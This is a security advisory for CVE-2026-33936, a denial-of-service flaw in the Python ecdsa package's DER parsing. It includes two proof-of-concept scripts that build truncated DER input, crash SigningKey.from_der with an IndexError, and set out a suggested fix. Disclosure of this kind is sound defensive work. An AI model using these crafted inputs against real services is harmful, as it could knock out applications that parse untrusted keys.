CVE-2026-33936
ADVISORY - githubSummary
Summary
An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.
ecdsa.der.remove_octet_string()accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.Because of that, a crafted DER input can cause
SigningKey.from_der()to raise an internal exception (IndexError: index out of bounds on dimension 1) rather than cleanly rejecting malformed DER (e.g., raisingUnexpectedDERorValueError). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.
Impact
Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.
Reproduction
Attach and run the following PoCs:
poc_truncated_der_octet.py
from ecdsa.der import remove_octet_string, UnexpectedDER
# OCTET STRING (0x04)
# Declared length: 0x82 0x10 0x00 -> 4096 bytes
# Actual body: only 3 bytes -> truncated DER
bad = b"\x04\x82\x10\x00" + b"ABC"
try:
body, rest = remove_octet_string(bad)
print("[BUG] remove_octet_string accepted truncated DER.")
print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest))
print("Body=", body)
print("Rest=", rest)
except UnexpectedDER as e:
print("[OK] Rejected malformed DER:", e)
- Expected: reject malformed DER when declared length exceeds available bytes
- Actual: accepts the truncated DER and returns a shorter body
- Example output:
Parsed body_len= 3 rest_len= 0 (while declared length is 4096)
poc_signingkey_from_der_indexerror.py
from ecdsa import SigningKey, NIST256p
import ecdsa
print("ecdsa version:", ecdsa.__version__)
sk = SigningKey.generate(curve=NIST256p)
good = sk.to_der()
print("Good DER len:", len(good))
def find_crashing_mutation(data: bytes):
b = bytearray(data)
# Try every OCTET STRING tag position and corrupt a short-form length byte
for i in range(len(b) - 4):
if b[i] != 0x04: # OCTET STRING tag
continue
L = b[i + 1]
if L >= 0x80:
# skip long-form lengths for simplicity
continue
max_possible = len(b) - (i + 2)
if max_possible <= 10:
continue
# Claim more bytes than exist -> truncation
newL = min(0x7F, max_possible + 20)
b2 = bytearray(b)
b2[i + 1] = newL
try:
SigningKey.from_der(bytes(b2))
except Exception as e:
return i, type(e).__name__, str(e)
return None
res = find_crashing_mutation(good)
if res is None:
print("[INFO] No exception triggered by this mutation strategy.")
else:
i, etype, msg = res
print("[BUG] SigningKey.from_der raised unexpected exception type.")
print("Offset:", i, "Exception:", etype, "Message:", msg)
- Expected: reject malformed DER with
UnexpectedDERorValueError - Actual: deterministically triggers an internal
IndexError(DoS risk) - Example output:
Result: (5, 'IndexError', 'index out of bounds on dimension 1')
Suggested fix
Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in remove_sequence():
remove_octet_string()remove_constructed()remove_implicit()
Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as UnexpectedDER to avoid crashy failure modes.
Credit
Mohamed Abdelaal (@0xmrma)
GitHub
CVSS SCORE
5.3medium| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| ecdsa | pypi | - | - | <0.19.2 | 0.19.2 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is no loss of trust or accuracy within the impacted component.
Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.
NIST
CVSS SCORE
5.3mediumAlpine
-
Debian
-
Ubuntu
-
CVSS SCORE
N/AmediumChainguard
CGA-g392-rr6w-3vvm
-
minimos
MINI-qcwf-3r36-gh33
-